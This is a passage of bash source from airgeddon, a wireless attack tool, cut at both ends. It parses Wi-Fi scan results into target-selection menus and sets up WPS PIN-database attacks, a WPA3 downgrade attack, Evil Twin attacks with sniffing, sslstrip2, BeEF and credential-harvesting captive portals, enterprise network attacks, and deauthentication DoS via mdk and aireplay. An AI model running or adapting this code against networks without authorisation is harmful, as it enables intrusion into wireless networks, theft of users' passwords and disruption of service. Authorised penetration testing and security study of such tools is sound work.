	csvline=$(wc -l "${tmpdir}nws.csv" 2> /dev/null | awk '{print $1}')
	if [ "${csvline}" -le 3 ]; then
		echo
		language_strings "${language}" 68 "red"
		language_strings "${language}" 115 "read"
		return 1
	fi

	rm -rf "${tmpdir}nws.txt" > /dev/null 2>&1
	rm -rf "${tmpdir}wnws.txt" > /dev/null 2>&1
	local target_index=0
	local enterprise_network_counter
	local pure_wpa3
	while IFS=, read -r exp_mac _ _ exp_channel _ exp_enc _ exp_auth exp_power _ _ _ exp_idlength exp_essid _; do

		pure_wpa3=""
		chars_mac=${#exp_mac}
		if [ "${chars_mac}" -ge 17 ]; then
			i=$((i + 1))
			if [ "${exp_power}" -lt 0 ]; then
				if [ "${exp_power}" -eq -1 ]; then
					exp_power=0
				else
					exp_power=$((exp_power + 100))
				fi
			fi

			exp_power=$(echo "${exp_power}" | awk '{gsub(/ /,""); print}')
			exp_essid=${exp_essid:1:${exp_idlength}}

			if [ "${interfaces_band_info['main_wifi_interface','6Ghz_allowed']}" -eq 1 ] && [ "${scan_6ghz_enabled}" != "0" ]; then
				if [[ ${exp_channel} =~ ${valid_channels_24_5_and_6_ghz_regexp} ]]; then
					exp_channel=$(echo "${exp_channel}" | awk '{gsub(/ /,""); print}')
				else
					exp_channel=0
				fi
			else
				if [[ ${exp_channel} =~ ${valid_channels_24_and_5_ghz_regexp} ]]; then
					exp_channel=$(echo "${exp_channel}" | awk '{gsub(/ /,""); print}')
				else
					exp_channel=0
				fi
			fi

			if [[ "${exp_essid}" = "" ]] || [[ "${exp_channel}" = "-1" ]]; then
				exp_essid="(Hidden Network)"
			fi

			exp_enc=$(echo "${exp_enc}" | awk '{print $1}')

			if [ -n "${1}" ]; then
				case ${cypher_filter} in
					"WEP")
						#Only WEP
						echo -e "${exp_mac},${exp_channel},${exp_power},${exp_essid},${exp_enc},${exp_auth}" >> "${tmpdir}nws.txt"
					;;
					"WPA1")
						#Only WPA including WPA/WPA2 in Mixed mode
						#Not used yet in airgeddon
						echo -e "${exp_mac},${exp_channel},${exp_power},${exp_essid},${exp_enc},${exp_auth}" >> "${tmpdir}nws.txt"
					;;
					"WPA2")
						#Only WPA2 including WPA/WPA2 and WPA2/WPA3 in Mixed mode
						#Not used yet in airgeddon
						echo -e "${exp_mac},${exp_channel},${exp_power},${exp_essid},${exp_enc},${exp_auth}" >> "${tmpdir}nws.txt"
					;;
					"WPA3")
						#Only WPA3 including WPA2/WPA3 in Mixed mode
						echo -e "${exp_mac},${exp_channel},${exp_power},${exp_essid},${exp_enc},${exp_auth}" >> "${tmpdir}nws.txt"
					;;
					"WPA")
						#All, WPA, WPA2 and WPA3 including all Mixed modes
						if [[ -n "${2}" ]] && [[ "${2}" = "enterprise" ]]; then
							if [[ "${exp_auth}" =~ MGT ]] || [[ "${exp_auth}" =~ CMAC && ! "${exp_auth}" =~ PSK ]]; then
								enterprise_network_counter=$((enterprise_network_counter + 1))
								echo -e "${exp_mac},${exp_channel},${exp_power},${exp_essid},${exp_enc},${exp_auth}" >> "${tmpdir}nws.txt"
							fi
						else
							[[ ${exp_auth} =~ ^[[:blank:]](SAE)$ ]] && pure_wpa3="${BASH_REMATCH[1]}"
							if [ "${pure_wpa3}" != "SAE" ]; then
								echo -e "${exp_mac},${exp_channel},${exp_power},${exp_essid},${exp_enc},${exp_auth}" >> "${tmpdir}nws.txt"
							fi
						fi
					;;
				esac
			else
				echo -e "${exp_mac},${exp_channel},${exp_power},${exp_essid},${exp_enc},${exp_auth}" >> "${tmpdir}nws.txt"
			fi
		fi
	done < "${tmpdir}nws.csv"

	if [[ -n "${2}" ]] && [[ "${2}" = "enterprise" ]] && [[ "${enterprise_network_counter}" -eq 0 ]]; then
		echo
		language_strings "${language}" 612 "red"
		language_strings "${language}" 115 "read"
		return 1
	fi

	sort -t "," -n -k 3 "${tmpdir}nws.txt" > "${tmpdir}wnws.txt"
	select_target
}

#Manage target exploration only for Access Points with WPS activated. Parse output files and print menu with results
function explore_for_wps_targets_option() {

	debug_print

	echo
	language_strings "${language}" 103 "title"
	language_strings "${language}" 65 "green"

	if ! check_monitor_enabled "${interface}"; then
		echo
		language_strings "${language}" 14 "red"
		language_strings "${language}" 115 "read"
		return 1
	fi

	echo
	language_strings "${language}" 66 "yellow"
	if [ "${interfaces_band_info['main_wifi_interface','6Ghz_allowed']}" -eq 1 ]; then
		echo
		language_strings "${language}" 814 "yellow"
		language_strings "${language}" 115 "read"
	fi

	echo
	if ! grep -qe "${interface}" <(echo "${!wash_ifaces_already_set[@]}"); then
		language_strings "${language}" 353 "blue"
		set_wash_parameterization
		language_strings "${language}" 354 "yellow"
	else
		language_strings "${language}" 355 "blue"
	fi

	wash_band_modifier=""
	if [ "${interfaces_band_info['main_wifi_interface','5Ghz_allowed']}" -eq 1 ]; then
		if check_dual_scan_on_wash; then
			wash_band_modifier=" -2 -5"
		else
			ask_yesno 145 "no"
			if [ "${yesno}" = "y" ]; then
				wash_band_modifier=" -5"
			fi
		fi
	fi

	echo
	language_strings "${language}" 411 "yellow"
	language_strings "${language}" 115 "read"

	rm -rf "${tmpdir}wps"* > /dev/null 2>&1

	recalculate_windows_sizes
	manage_output "+j -bg \"#000000\" -fg \"#FFFFFF\" -geometry ${g1_topright_window} -T \"Exploring for WPS targets\"" "wash -i \"${interface}\"${wash_ifaces_already_set[${interface}]}${wash_band_modifier} | tee \"${tmpdir}wps.txt\"" "Exploring for WPS targets" "active"
	wait_for_process "wash -i \"${interface}\"${wash_ifaces_already_set[${interface}]}${wash_band_modifier}" "Exploring for WPS targets"

	readarray -t WASH_PREVIEW < <(cat < "${tmpdir}wps.txt" 2> /dev/null)

	local wash_header_found=0
	local wash_line_counter=1
	for item in "${WASH_PREVIEW[@]}"; do
		if [[ ${item} =~ -{20} ]]; then
			wash_start_data_line="${wash_line_counter}"
			wash_header_found=1
			break
		else
			wash_line_counter=$((wash_line_counter + 1))
		fi
	done

	if [ "${wash_header_found}" -eq 0 ]; then
		echo
		language_strings "${language}" 417 "red"
		language_strings "${language}" 115 "read"
		return 1
	fi

	washlines=$(wc -l "${tmpdir}wps.txt" 2> /dev/null | awk '{print $1}')
	if [ "${washlines}" -le "${wash_start_data_line}" ]; then
		echo
		language_strings "${language}" 68 "red"
		language_strings "${language}" 115 "read"
		return 1
	fi

	local max_wps_count=0
	local wps_index_width=1
	max_wps_count=$((washlines - wash_start_data_line))
	if [ "${max_wps_count}" -lt 1 ]; then
		max_wps_count=1
	fi
	wps_index_width=${#max_wps_count}

	clear
	language_strings "${language}" 104 "title"
	echo
	local header_line
	header_line=$(replace_string_vars "${language}" 349)
	if [ "${wps_index_width}" -eq 1 ]; then
		header_line="${header_line# }"
	elif [ "${wps_index_width}" -ge 3 ]; then
		header_line=" ${header_line}"
	fi
	echo_green "${header_line}"
	print_large_separator

	local target_index=0
	local wash_counter=0
	local expwps_band
	local band_width=8
	local wpssp_band
	declare -A wps_lockeds
	wps_lockeds[${wash_counter}]="No"
	while IFS=, read -r expwps_line; do

		target_index=$((target_index + 1))

		if [ "${target_index}" -le "${wash_start_data_line}" ]; then
			continue
		else
			expwps_bssid=$(echo "${expwps_line}" | awk '{print $1}')
			expwps_channel=$(echo "${expwps_line}" | awk '{print $2}')
			expwps_power=$(echo "${expwps_line}" | awk '{print $3}')
			expwps_version=$(echo "${expwps_line}" | awk '{print $4}')
			expwps_locked=$(echo "${expwps_line}" | awk '{print $5}')
			expwps_essid=$(echo "${expwps_line//[\`\']/}" | sed -E 's/.*[[:space:]]{2,}//')

			if [[ "${expwps_channel}" =~ ^[0-9]+$ ]]; then
				if [ "${expwps_channel}" -le 9 ]; then
					wpssp2="  "
					if [ "${expwps_channel}" -eq 0 ]; then
						expwps_channel="-"
					fi
				elif [[ "${expwps_channel}" -ge 10 ]] && [[ "${expwps_channel}" -lt 99 ]]; then
					wpssp2=" "
				else
					wpssp2=""
				fi
			else
				wpssp2=""
			fi

			expwps_band=""
			if [[ "${expwps_channel}" =~ ^[0-9]+$ ]]; then
				if [ "${interfaces_band_info['main_wifi_interface','6Ghz_allowed']}" -eq 1 ] && [[ "${expwps_channel}" =~ ^(1|5|9|13)$ ]]; then
					expwps_band="2.4/6${ghz}"
				elif [ "${interfaces_band_info['main_wifi_interface','6Ghz_allowed']}" -eq 1 ] && contains_element "${expwps_channel}" "${channels_5ghz_list[@]}" && contains_element "${expwps_channel}" "${channels_6ghz_list[@]}"; then
					expwps_band="5/6${ghz}"
				elif [[ "${expwps_channel}" -ge 1 ]] && [[ "${expwps_channel}" -le 14 ]]; then
					expwps_band="${band_24ghz}"
				elif [ "${interfaces_band_info['main_wifi_interface','6Ghz_allowed']}" -eq 1 ] && [[ "${expwps_channel}" =~ ^${valid_channels_6_ghz_regexp}$ ]]; then
					expwps_band="${band_6ghz}"
				elif [[ "${expwps_channel}" -ge 15 ]]; then
					expwps_band="${band_5ghz}"
				fi
			fi
			if [ "${expwps_band}" = "${band_6ghz}" ] || [[ "${expwps_band}" = */6${ghz} ]]; then
				continue
			fi

			wash_counter=$((wash_counter + 1))

			wpssp1=$(printf "%*s" $((wps_index_width - ${#wash_counter})) "")
			if [ -n "${expwps_band}" ]; then
				wpssp_band=$(printf "%*s" $((band_width - ${#expwps_band})) "")
			else
				wpssp_band=$(printf "%*s" "${band_width}" "")
			fi

			if [[ "${expwps_power}" = "" ]] || [[ "${expwps_power}" = "-00" ]]; then
				expwps_power=0
			fi

			if [[ ${expwps_power} =~ ^-0 ]]; then
				expwps_power=${expwps_power//0/}
			fi

			if [ "${expwps_power}" -lt 0 ]; then
				if [ "${expwps_power}" -eq -1 ]; then
					expwps_power=0
				else
					expwps_power=$((expwps_power + 100))
				fi
			fi

			if [ "${expwps_power}" -le 9 ]; then
				wpssp4=" "
			else
				wpssp4=""
			fi

			wash_color="${normal_color}"
			if [ "${expwps_locked}" = "Yes" ]; then
				wash_color="${red_color}"
				wpssp3=""
			else
				wpssp3=" "
			fi

			wps_network_names["${wash_counter}"]=${expwps_essid}
			wps_channels["${wash_counter}"]=${expwps_channel}
			wps_macs["${wash_counter}"]=${expwps_bssid}
			wps_lockeds["${wash_counter}"]=${expwps_locked}
			echo -e "${wash_color} ${wpssp1}${wash_counter})   ${expwps_bssid}  ${wpssp2}${expwps_channel}   ${expwps_band}${wpssp_band}    ${wpssp4}${expwps_power}%   ${expwps_version}   ${expwps_locked}${wpssp3}   ${expwps_essid}"
		fi
	done < <(cat <(head -n 2 "${tmpdir}wps.txt") <(tail -n +3 "${tmpdir}wps.txt" | sort -k3,3n 2> /dev/null))

	echo
	if [ "${wash_counter}" -eq 1 ]; then
		language_strings "${language}" 70 "yellow"
		selected_wps_target_network=1
		language_strings "${language}" 115 "read"
	else
		print_large_separator
		language_strings "${language}" 3 "green"
		read -rp "> " selected_wps_target_network
	fi

	while [[ ! ${selected_wps_target_network} =~ ^[[:digit:]]+$ ]] || ((selected_wps_target_network < 1 || selected_wps_target_network > wash_counter)) || [[ ${wps_lockeds[${selected_wps_target_network}]} = "Yes" ]]; do

		if [[ ${selected_wps_target_network} =~ ^[[:digit:]]+$ ]] && ((selected_wps_target_network >= 1 && selected_wps_target_network <= wash_counter)); then
			if [ "${wps_lockeds[${selected_wps_target_network}]}" = "Yes" ]; then
				ask_yesno 350 "no"
				if [ "${yesno}" = "y" ]; then
					break
				else
					echo
					language_strings "${language}" 3 "green"
					read -rp "> " selected_wps_target_network
					continue
				fi
			fi
		fi

		echo
		language_strings "${language}" 72 "red"
		echo
		language_strings "${language}" 3 "green"
		read -rp "> " selected_wps_target_network
	done

	wps_essid=${wps_network_names[${selected_wps_target_network}]}
	check_hidden_essid "wps" "verify"
	wps_channel=${wps_channels[${selected_wps_target_network}]}
	set_wps_target_band_id_from_channel
	wps_bssid=${wps_macs[${selected_wps_target_network}]}
	wps_locked=${wps_lockeds[${selected_wps_target_network}]}
	enterprise_network_selected=0
	personal_network_selected=1
	set_personal_enterprise_text
}

#Create a menu to select target from the parsed data
function select_target() {

	debug_print

	local i=0
	local total_networks=0
	local index_width=1
	local header_line=""
	local exp_band
	local pure_wpa3_target
	local band_width=8
	local sp_band
	total_networks=$(wc -l < "${tmpdir}wnws.txt" 2> /dev/null)
	if [[ -z "${total_networks}" ]] || [ "${total_networks}" -lt 1 ]; then
		total_networks=1
	fi
	index_width=${#total_networks}
	header_line=$(replace_string_vars "${language}" 69)
	if [ "${index_width}" -eq 1 ]; then
		header_line="${header_line# }"
	elif [ "${index_width}" -ge 3 ]; then
		header_line=" ${header_line}"
	fi

	clear
	language_strings "${language}" 104 "title"
	echo
	echo_green "${header_line}"
	print_large_separator
	while IFS=, read -r exp_mac exp_channel exp_power exp_essid exp_enc exp_auth; do

		target_index=$((target_index + 1))

		sp1=$(printf "%*s" $((index_width - ${#target_index})) "")

		if [ "${exp_channel}" -le 9 ]; then
			sp2="  "
			if [ "${exp_channel}" -eq 0 ]; then
				exp_channel="-"
			fi
			if [ "${exp_channel}" -lt 0 ]; then
				sp2=" "
			fi
		elif [[ "${exp_channel}" -ge 10 ]] && [[ "${exp_channel}" -lt 99 ]]; then
			sp2=" "
		else
			sp2=""
		fi

		exp_band=""
		pure_wpa3_target=""
		[[ ${exp_auth} =~ ^[[:blank:]](SAE)$ ]] && pure_wpa3_target="${BASH_REMATCH[1]}"
		if [ "${interfaces_band_info['main_wifi_interface','6Ghz_allowed']}" -eq 1 ] && [ "${scan_6ghz_enabled}" != "0" ] && [[ "${exp_channel}" =~ ^(1|5|9|13)$ ]] && [ "${pure_wpa3_target}" = "SAE" ]; then
			exp_band="2.4/6${ghz}"
		elif [ "${interfaces_band_info['main_wifi_interface','6Ghz_allowed']}" -eq 1 ] && [ "${scan_6ghz_enabled}" != "0" ] && contains_element "${exp_channel}" "${channels_5ghz_list[@]}" && contains_element "${exp_channel}" "${channels_6ghz_list[@]}" && [ "${pure_wpa3_target}" = "SAE" ]; then
			exp_band="5/6${ghz}"
		elif [[ "${exp_channel}" -ge 1 ]] && [[ "${exp_channel}" -le 14 ]]; then
			exp_band="${band_24ghz}"
		elif [ "${interfaces_band_info['main_wifi_interface','6Ghz_allowed']}" -eq 1 ] && [ "${scan_6ghz_enabled}" != "0" ] && [[ "${exp_channel}" =~ ^${valid_channels_6_ghz_regexp}$ ]] && [ "${pure_wpa3_target}" = "SAE" ]; then
			exp_band="${band_6ghz}"
		elif [[ "${exp_channel}" -ge 15 ]]; then
			exp_band="${band_5ghz}"
		fi
		sp_band=""
		if [ -n "${exp_band}" ]; then
			sp_band=$(printf "%*s" $((band_width - ${#exp_band})) "")
		else
			sp_band=$(printf "%*s" "${band_width}" "")
		fi

		if [ "${exp_power}" = "" ]; then
			exp_power=0
		fi

		if [ "${exp_power}" -le 9 ]; then
			sp4=" "
		else
			sp4=""
		fi

		airodump_color="${normal_color}"
		client=$(grep "${exp_mac}" < "${tmpdir}clts.csv")
		if [ "${client}" != "" ]; then
			airodump_color="${yellow_color}"
			client="*"
			sp5=""
		else
			sp5=" "
		fi

		enc_length=${#exp_enc}
		if [ "${enc_length}" -gt 3 ]; then
			sp6=""
		elif [ "${enc_length}" -eq 0 ]; then
			sp6="    "
		else
			sp6=" "
		fi

		network_names["${target_index}"]=${exp_essid}
		channels["${target_index}"]=${exp_channel}
		macs["${target_index}"]=${exp_mac}
		encs["${target_index}"]=${exp_enc}
		types["${target_index}"]=${exp_auth}
		echo -e "${airodump_color} ${sp1}${target_index})${client}  ${sp5}${exp_mac}  ${sp2}${exp_channel}   ${exp_band}${sp_band}    ${sp4}${exp_power}%   ${exp_enc}${sp6}   ${exp_essid}"
	done < "${tmpdir}wnws.txt"

	echo
	if [ "${target_index}" -eq 1 ]; then
		language_strings "${language}" 70 "yellow"
		selected_target_network=1
		language_strings "${language}" 115 "read"
	else
		language_strings "${language}" 71 "yellow"
		print_large_separator
		language_strings "${language}" 3 "green"
		read -rp "> " selected_target_network
	fi

	while [[ ! ${selected_target_network} =~ ^[[:digit:]]+$ ]] || ((selected_target_network < 1 || selected_target_network > target_index)); do
		echo
		language_strings "${language}" 72 "red"
		echo
		language_strings "${language}" 3 "green"
		read -rp "> " selected_target_network
	done

	essid=${network_names[${selected_target_network}]}
	check_hidden_essid "normal" "verify"
	channel=${channels[${selected_target_network}]}
	set_target_band_id_from_channel
	bssid=${macs[${selected_target_network}]}
	enc=${encs[${selected_target_network}]}

	if [[ "${types[${selected_target_network}]}" =~ MGT ]] || [[ "${types[${selected_target_network}]}" =~ CMAC && ! "${types[${selected_target_network}]}" =~ PSK ]]; then
		enterprise_network_selected=1
		personal_network_selected=0
	else
		enterprise_network_selected=0
		personal_network_selected=1
	fi

	set_personal_enterprise_text
}

#Perform a test to determine if fcs parameter is needed on wash scanning
function set_wash_parameterization() {

	debug_print

	fcs=""
	declare -gA wash_ifaces_already_set
	readarray -t WASH_OUTPUT < <(timeout -s SIGTERM 2 wash -i "${interface}" 2> /dev/null)

	for item in "${WASH_OUTPUT[@]}"; do
		if [[ ${item} =~ ^\[\!\].*bad[[:space:]]FCS ]]; then
			fcs=" -C "
			break
		fi
	done

	wash_ifaces_already_set[${interface}]=${fcs}
}

#Check if a type exists in the wps data array
function check_if_type_exists_in_wps_data_array() {

	debug_print

	[[ -n "${wps_data_array["${1}","${2}"]:+not set}" ]]
}

#Check if a pin exists in the wps data array
function check_if_pin_exists_in_wps_data_array() {

	debug_print

	[[ "${wps_data_array["${1}","${2}"]}" =~ (^| )"${3}"( |$) ]]
}

#Fill data into wps data array
function fill_wps_data_array() {

	debug_print

	if ! check_if_pin_exists_in_wps_data_array "${1}" "${2}" "${3}"; then

		if [ "${2}" != "Database" ]; then
			wps_data_array["${1}","${2}"]="${3}"
		else
			if [ "${wps_data_array["${1}","${2}"]}" = "" ]; then
				wps_data_array["${1}","${2}"]="${3}"
			else
				wps_data_array["${1}","${2}"]="${wps_data_array["${1}","${2}"]} ${3}"
			fi
		fi
	fi
}

#Manage and validate the prerequisites for wps pin database attacks
function wps_pin_database_prerequisites() {

	debug_print

	set_wps_mac_parameters

	#shellcheck source=./known_pins.db
	source "${scriptfolder}${known_pins_dbfile}"

	echo
	language_strings "${language}" 384 "blue"
	echo
	search_in_pin_database
	if [ "${bssid_found_in_db}" -eq 1 ]; then
		if [ "${counter_pins_found}" -eq 1 ]; then
			language_strings "${language}" 385 "yellow"
		else
			language_strings "${language}" 386 "yellow"
		fi
	else
		language_strings "${language}" 387 "yellow"
	fi

	if [ "${1}" != "no_attack" ]; then
		check_and_set_common_algorithms
		echo
		language_strings "${language}" 4 "read"
	fi
}

#Manage and validate the prerequisites for WPA3 downgrade attack
function wpa3_downgrade_prerequisites() {

	debug_print

	clear
	current_menu="wpa3_attacks_menu"
	language_strings "${language}" 778 "title"
	print_iface_selected
	print_all_target_vars
	print_hint

	if [[ -z "${mac_spoofing_desired}" ]] || [[ "${mac_spoofing_desired}" -eq 0 ]]; then
		ask_yesno 419 "no"
		if [ "${yesno}" = "y" ]; then
			mac_spoofing_desired=1
		fi
	fi

	return_to_wpa3_main_menu=1

	if [ "${essid}" = "(Hidden Network)" ]; then
		echo
		language_strings "${language}" 784 "red"
		language_strings "${language}" 115 "read"
		return
	fi

	if [ "${is_docker}" -eq 1 ]; then
		echo
		language_strings "${language}" 779 "pink"
		language_strings "${language}" 115 "read"
	fi

	region_check

	if [ "${channel}" -gt 14 ]; then
		echo
		if [ "${country_code}" = "00" ]; then
			language_strings "${language}" 706 "yellow"
		elif [ "${country_code}" = "99" ]; then
			language_strings "${language}" 719 "yellow"
		else
			language_strings "${language}" 392 "blue"
		fi
	fi

	ask_timeout "wpa3_downgrade"

	echo
	language_strings "${language}" 782 "blue"
	echo
	language_strings "${language}" 783 "yellow"
	language_strings "${language}" 115 "read"
	echo
	language_strings "${language}" 325 "blue"

	prepare_wpa3_downgrade_interface
	exec_wpa3_downgrade_attack
}

#Manage and validate the prerequisites for Evil Twin and Enterprise attacks
function et_prerequisites() {

	debug_print

	if [ "${retry_handshake_capture}" -eq 1 ]; then
		return
	fi

	clear
	if [ -n "${enterprise_mode}" ]; then
		current_menu="enterprise_attacks_menu"
		case ${enterprise_mode} in
			"smooth")
				language_strings "${language}" 522 "title"
			;;
			"noisy")
				language_strings "${language}" 523 "title"
			;;
		esac
	else
		current_menu="evil_twin_attacks_menu"
		case ${et_mode} in
			"et_onlyap")
				language_strings "${language}" 270 "title"
			;;
			"et_sniffing")
				language_strings "${language}" 291 "title"
			;;
			"et_sniffing_sslstrip2")
				language_strings "${language}" 292 "title"
			;;
			"et_sniffing_sslstrip2_beef")
				language_strings "${language}" 397 "title"
			;;
			"et_captive_portal")
				language_strings "${language}" 293 "title"
			;;
		esac
	fi

	print_iface_selected
	if [ -n "${enterprise_mode}" ]; then
		print_all_target_vars
	else
		print_et_target_vars
		print_iface_internet_selected
	fi

	if [ "${dos_pursuit_mode}" -eq 1 ]; then
		language_strings "${language}" 512 "blue"
	fi
	print_hint
	echo

	if [ "${et_mode}" != "et_captive_portal" ]; then
		language_strings "${language}" 275 "blue"
		echo
		language_strings "${language}" 276 "yellow"
		print_simple_separator
		ask_yesno 277 "yes"
		if [ "${yesno}" = "n" ]; then
			if [ -n "${enterprise_mode}" ]; then
				return_to_enterprise_main_menu=1
			else
				return_to_et_main_menu=1
				return_to_et_main_menu_from_beef=1
			fi
			return
		fi
	fi

	if [[ -z "${mac_spoofing_desired}" ]] || [[ "${mac_spoofing_desired}" -eq 0 ]]; then
		ask_yesno 419 "no"
		if [ "${yesno}" = "y" ]; then
			mac_spoofing_desired=1
		fi
	fi

	if [ "${et_mode}" = "et_captive_portal" ]; then

		language_strings "${language}" 315 "yellow"
		echo
		language_strings "${language}" 286 "pink"
		print_simple_separator
		if [ "${retrying_handshake_capture}" -eq 0 ]; then
			ask_yesno 321 "no"
		fi

		local msg_mode
		msg_mode="showing_msgs_checking"

		if [[ "${yesno}" = "n" ]] || [[ "${retrying_handshake_capture}" -eq 1 ]]; then
			msg_mode="silent"
			capture_handshake_evil_twin
			case "$?" in
				"2")
					retry_handshake_capture=1
					return
				;;
				"1")
					return_to_et_main_menu=1
					return
				;;
			esac
		else
			ask_et_handshake_file
		fi
		retry_handshake_capture=0
		retrying_handshake_capture=0

		if ! check_bssid_in_captured_file "${et_handshake}" "${msg_mode}" "also_pmkid"; then
			return_to_et_main_menu=1
			return
		fi

		echo
		language_strings "${language}" 28 "blue"

		echo
		language_strings "${language}" 26 "blue"

		echo
		language_strings "${language}" 834 "blue"

		echo
		language_strings "${language}" 31 "blue"
	else
		if ! ask_bssid; then
			if [ -n "${enterprise_mode}" ]; then
				return_to_enterprise_main_menu=1
			else
				return_to_et_main_menu=1
				return_to_et_main_menu_from_beef=1
			fi
			return
		fi

		if ! ask_channel; then
			if [ -n "${enterprise_mode}" ]; then
				return_to_enterprise_main_menu=1
			else
				return_to_et_main_menu=1
			fi
			return
		elif ! check_target_band_supported_by_interface "main_wifi_interface"; then
			if [ -n "${enterprise_mode}" ]; then
				return_to_enterprise_main_menu=1
			else
				return_to_et_main_menu=1
			fi
			return
		else
			if [[ "${dos_pursuit_mode}" -eq 1 && ( ("${target_band_id}" = "${band_6ghz}" && "${interfaces_band_info['secondary_wifi_interface','6Ghz_allowed']}" -eq 0) || ("${target_band_id}" = "${band_5ghz}" && "${interfaces_band_info['secondary_wifi_interface','5Ghz_allowed']}" -eq 0) ) ]]; then
				echo
				language_strings "${language}" 394 "red"
				language_strings "${language}" 115 "read"
				if [ -n "${enterprise_mode}" ]; then
					return_to_enterprise_main_menu=1
				else
					return_to_et_main_menu=1
				fi
				return
			fi
		fi
		ask_essid "noverify"
	fi

	if [ -n "${enterprise_mode}" ]; then
		if ! validate_network_type "enterprise"; then
			return_to_enterprise_main_menu=1
			return
		fi
	else
		if ! validate_network_type "personal"; then
			return_to_et_main_menu=1
			return
		fi
	fi

	if [ -n "${enterprise_mode}" ]; then
		manage_enterprise_log
	elif [ "${et_mode}" = "et_sniffing" ]; then
		manage_ettercap_log
	elif [[ "${et_mode}" = "et_sniffing_sslstrip2" ]] || [[ "${et_mode}" = "et_sniffing_sslstrip2_beef" ]]; then
		manage_bettercap_log
	elif [ "${et_mode}" = "et_captive_portal" ]; then
		manage_captive_portal_log
		language_strings "${language}" 115 "read"
		if set_captive_portal_language; then
			language_strings "${language}" 319 "blue"
			ask_yesno 710 "no"
			if [ "${yesno}" = "y" ]; then
				advanced_captive_portal=1
			fi

			prepare_captive_portal_data

			echo
			language_strings "${language}" 711 "blue"
		else
			return
		fi
	fi

	if [ -n "${enterprise_mode}" ]; then
		return_to_enterprise_main_menu=1
	else
		return_to_et_main_menu=1
		return_to_et_main_menu_from_beef=1
	fi

	if [ "${is_docker}" -eq 1 ]; then
		echo
		if [ -n "${enterprise_mode}" ]; then
			language_strings "${language}" 528 "pink"
		else
			language_strings "${language}" 420 "pink"
		fi
		language_strings "${language}" 115 "read"
	fi

	region_check

	if [ "${channel}" -gt 14 ]; then
		echo
		if [ "${country_code}" = "00" ]; then
			language_strings "${language}" 706 "yellow"
		elif [ "${country_code}" = "99" ]; then
			language_strings "${language}" 719 "yellow"
		else
			language_strings "${language}" 392 "blue"
		fi
	fi

	if hash arping-th 2> /dev/null; then
		right_arping=1
		right_arping_command="arping-th"
	elif hash arping 2> /dev/null; then
		if check_right_arping; then
			right_arping=1
		else
			echo
			language_strings "${language}" 722 "yellow"
			language_strings "${language}" 115 "read"
		fi
	fi

	echo
	language_strings "${language}" 296 "yellow"
	language_strings "${language}" 115 "read"
	prepare_et_interface

	rm -rf "${tmpdir}${channelfile}" > /dev/null 2>&1
	echo "${channel}" > "${tmpdir}${channelfile}"

	if [ -n "${enterprise_mode}" ]; then
		exec_enterprise_attack
	else
		case ${et_mode} in
			"et_onlyap")
				exec_et_onlyap_attack
			;;
			"et_sniffing")
				exec_et_sniffing_attack
			;;
			"et_sniffing_sslstrip2")
				exec_et_sniffing_sslstrip2_attack
			;;
			"et_sniffing_sslstrip2_beef")
				exec_et_sniffing_sslstrip2_beef_attack
			;;
			"et_captive_portal")
				exec_et_captive_portal_attack
			;;
		esac
	fi
}

#Manage the Handshake file requirement for captive portal Evil Twin attack
function ask_et_handshake_file() {

	debug_print

	echo
	readpath=0

	if [[ -z "${enteredpath}" ]] && [[ -z "${et_handshake}" ]]; then
		language_strings "${language}" 312 "blue"
		readpath=1
	elif [[ -z "${enteredpath}" ]] && [[ -n "${et_handshake}" ]]; then
		language_strings "${language}" 313 "blue"
		ask_yesno 187 "yes"
		if [ "${yesno}" = "n" ]; then
			readpath=1
		fi
	elif [[ -n "${enteredpath}" ]] && [[ -z "${et_handshake}" ]]; then
		language_strings "${language}" 151 "blue"
		ask_yesno 187 "yes"
		if [ "${yesno}" = "y" ]; then
			et_handshake="${enteredpath}"
		else
			readpath=1
		fi
	elif [[ -n "${enteredpath}" ]] && [[ -n "${et_handshake}" ]]; then
		language_strings "${language}" 313 "blue"
		ask_yesno 187 "yes"
		if [ "${yesno}" = "n" ]; then
			readpath=1
		fi
	fi

	if [ "${readpath}" -eq 1 ]; then
		validpath=1
		while [[ "${validpath}" != "0" ]]; do
			read_path "ethandshake"
		done
	fi
}

#DoS Evil Twin and Enterprise attacks menu
function et_dos_menu() {

	debug_print

	if [[ -n "${return_to_et_main_menu}" ]] && [[ "${return_to_et_main_menu}" -eq 1 ]]; then
		return
	fi

	if [[ -n "${return_to_enterprise_main_menu}" ]] && [[ "${return_to_enterprise_main_menu}" -eq 1 ]]; then
		return
	fi

	clear
	if [ "${1}" = "enterprise" ]; then
		language_strings "${language}" 520 "title"
	else
		language_strings "${language}" 265 "title"
	fi
	current_menu="et_dos_menu"
	initialize_menu_and_print_selections
	echo
	language_strings "${language}" 47 "green"
	print_simple_separator
	if [ "${1}" = "enterprise" ]; then
		language_strings "${language}" 521
	else
		language_strings "${language}" 266
	fi
	print_simple_separator
	language_strings "${language}" 139 mdk_attack_dependencies[@]
	language_strings "${language}" 140 aireplay_attack_dependencies[@]
	language_strings "${language}" 141 mdk_attack_dependencies[@]
	print_hint

	read -rp "> " et_dos_option
	case ${et_dos_option} in
		0)
			if [ "${1}" != "enterprise" ]; then
				return_to_et_main_menu_from_beef=1
			fi
			return
		;;
		1)
			if contains_element "${et_dos_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				et_dos_attack="${mdk_command}"

				echo
				language_strings "${language}" 509 "yellow"

				if ! dos_pursuit_mode_et_handler; then
					return
				fi

				if [[ "${et_mode}" = "et_captive_portal" ]] || [[ -n "${enterprise_mode}" ]]; then
					et_prerequisites
				else
					if detect_internet_interface; then
						et_prerequisites
					else
						return
					fi
				fi
			fi
		;;
		2)
			if contains_element "${et_dos_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				et_dos_attack="Aireplay"

				echo
				language_strings "${language}" 509 "yellow"

				if ! dos_pursuit_mode_et_handler; then
					return
				fi

				if [[ "${et_mode}" = "et_captive_portal" ]] || [[ -n "${enterprise_mode}" ]]; then
					et_prerequisites
				else
					if detect_internet_interface; then
						et_prerequisites
					else
						return
					fi
				fi
			fi
		;;
		3)
			if contains_element "${et_dos_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				et_dos_attack="Auth DoS"

				echo
				language_strings "${language}" 509 "yellow"

				if ! dos_pursuit_mode_et_handler; then
					return
				fi

				if [[ "${et_mode}" = "et_captive_portal" ]] || [[ -n "${enterprise_mode}" ]]; then
					et_prerequisites
				else
					if detect_internet_interface; then
						et_prerequisites
					else
						return
					fi
				fi
			fi
		;;
		*)
			invalid_menu_option
		;;
	esac

	if [ "${1}" = "enterprise" ]; then
		et_dos_menu "${1}"
	else
